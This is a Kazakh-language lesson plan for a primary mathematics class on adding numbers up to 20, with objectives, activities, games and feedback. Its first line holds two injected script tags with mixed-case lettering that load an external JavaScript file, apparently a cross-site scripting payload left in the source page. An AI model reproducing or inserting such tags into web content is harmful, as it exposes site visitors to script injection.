<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

ҚЫСҚА МЕРЗІМДІ ЖОСПАР

Математика

Күні: 30.11.17

Сынып:  

Қатысқандар саны:

Қатыспағандар саны: -

Сабақтың тақырыбы

20-ға дейінгі сандарды

қосу

Осы сабақта қол жеткізілетін оқу мақсаттары

(оқу бағдарламасына сілтеме)

Оқушыларды 20-ға дейінгі сандарды ондықтан аттамай

ауызша қосу әдісімен таныстыру.

Сабақтың мақсаттары

қосу амалын ортақ элементтері

жоқ жиын-дардың бірігуі, азайтуды жиынның бөлігін ажыратып алу ретінде

түсінеді;

            ондықтан аттамай, 20 көлеміндегі сандарды (ондықтарды)

ауызша қосу және азайтуды орындайды;

            “+”, “–”, “=” таңбаларын қолданады.

Бағалау критерийлері

1. 20-ға дейінгі сандарды қоса алады.

2 Берілген тапсырмалар орындайды.

3. Екі таңбалы сандарды ажыратады.

Құндылықтарды дарыту

Адалдық,шынайы достққа.

Пәнаралық байланыс

Көркем еңбек.

АКТ қолдану дағдылары

Бейне жазба.

Тілдік құзыреттілік

Бірлікке,бірлікті.

Алдыңғы оқу:

Сандық сәуленің көмегімен

қосу және азайту.

Жоспар

Сабақтың

жоспарланған кезеңдері

Сабақтағы

жоспарланған іс-әрекет

Ресурстар

Сабақтың басы

2мин

(с)

 Шаттық шеңбер

Математика сабағын

Мен меңгеріп аламын

Қазір есеп шығарып

Ата – анамды қуантып

Бес деген баға алып барамын

(қолдарынан ұстап оқушылар, бір - біріне жақсы тілектер тілейді)

Өткен сабақты

қайталау:

Математика оқулығы , бес саны.

Сабақтың ортасы

                                       5мин

5мин                                    

  6мин

              2мин

3мин

4мин

8мин

(Ж) АКТ

Кіріспе тапсырма: Санау таяқшаларын пайда-ланып, екі таңбалы сандарды

модельдеу бойынша тәжірибе жұмысын ұйымдастырлады. Оқушыларға бума жасау үшін

санау таяқшалары мен резеңкелер таратып беріледі.

Дескриптор:

Екі таңбалы сандарды біледі.

Кері байланыс: Ауызша

Жаңа тақырыпты ашу:

Сабақта екі таңбалы сандарғабір таңбалы сандарды қосуды

үйренетіндерін ха-барлаймын. 14-ке 3 санын қосуды ұсынамын. Оқу-шылар 3

таяқшаны қосады. Оқушылардың әрекетін бақыланады.

(Ө)

Кел, ойнайық! Гүлдердін арасынан

есептің шешуін табу.      

Оқулықпен жұмыс:

99 бет «Шығарып көр» тапсырмасы.

Сергіту сәтті:

Музыка ойналады,оқушылар үйлерді айналып жүреді. Музыка тоқтағанда

оқушылар қолдарындағы құлыптарды тиесілі үйге қояды.

(Т)

Араласқан шарлар ойыны:

Жерде жатқан шарларды топен келіп алады. Шарларда жазылған сандар мен

таңбаларды қолдана отырып мысалдар құрастырады.

Дәптермен жұмыс:

Дәптердегі тапсырмалар орындалады.

20ға дейінгі сандар.

Суреттері

Бейне

жазба.

Санамақтар,

Резенкелер.

Гүлдер суретері және

есеп жазылған парақшалар.

Сабақтың соңы

2мин

                           3мин

Кері байланыс:

Бағдаршам.

Жасыл –түсіндім

Сары-Орташа

Қызыл- түсінбедім

Бірін-бірі бағалау фигуралар арқылы.

Бағдаршам

Суреті.

Дифференциация – оқушыларға көбірек қолдау көрсетуді қалай

жоспарлайсыз? Қабілеті жоғары оқушыларға қандай тапсырмалар қоюды жоспарлап

отырсыз?

.Бағалау – оқушылардың материалды меңгеру деңгейін  тексеру жоспарыңыз?

Қолдау көрсету.

Қабілеті жоғары оқушылар айтылған сөздер мен сөйлемдердің көпшілігін

дұрыс қайталай алады.

.

Карта

Ауылдын суретті

Рефлексия

Сабақтың мақсатына жеттім бе?

Оқушылар не үйренді? Жоспарланған уақытты ұстандым ба? Жоспарыма қандай

өзгерістер енгіздім және неге?